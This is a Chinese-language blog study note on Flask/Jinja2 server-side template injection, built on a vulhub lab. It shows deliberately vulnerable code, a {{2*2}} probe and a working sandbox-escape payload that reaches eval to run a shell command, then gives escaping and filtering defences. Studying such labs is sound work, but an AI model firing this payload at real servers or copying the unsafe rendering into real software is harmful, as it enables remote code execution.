Flask(Jinja2) 服务端模板注入漏洞(SSTI) 学习

笔记 246 字 大概 1 分钟 1,131 次

timg.jpg

环境

这里采用的是vulhub的docker环境
https://vulhub.org/#/environments/flask/ssti/

Jinja2

  • Jinja 2是一种面向Python的现代和设计友好的模板语言,它是以Django的模板为模型的
  • Jinja2 是 Flask 框架的一部分。Jinja2 会把模板参数提供的相应的值替换了 {{…}} 块
  • Jinja2 模板同样支持控制语句,像在 {%…%} 块中

探究

下面是存在漏洞的代码

from flask import Flask, request
from jinja2 import Template
    
app = Flask(__name__)
    
@app.route("/")
def index():
    name = request.args.get('name', 'guest')
    
    t = Template("Hello " + name)
    return t.render()
    
if __name__ == "__main__":
    app.run()

获取参数name的值并传递给变量name ,并把name直接渲染输出

简单判断

http://172.16.12.145:8000/?name=?name={{2*2}}

返回

Hello ?name=4

很明显 2*2 被执行了
此处可以执行jinja2模板语法
在jinja2中是可以直接访问python的一些对象及其方法的,如
字符串对象及其upper函数,列表对象及其count函数,字典对象及其has_key函数

Python 沙箱逃逸

参考:Python 沙箱逃逸的一些方法
示例payload:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='_IterationGuard' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}

2020-08-23 181055.png

参考:Flask jinja2模板注入思路总结

防范模板注入

  • HTML转义

使用jinja2提供的escape()函数对用户传入的数据进行转义

from jinja2 import escape
    
@app.route('/')
def index():
    id = request.args.get('id')
    html = '''hello, %s''' % escape(id)
    return render_template_string(html)
  • 过滤用户的输入
# python flask后端脚本 
from flask import Markup

@app.template_filter()
def musical(s):
    return s + Markup(' &#9835')
.........
# html引用
{{ name|musical }}

来源:jinja2

文章目录
END

本作品采用 知识共享署名-相同方式共享 4.0 国际许可协议 进行许可。

发表感想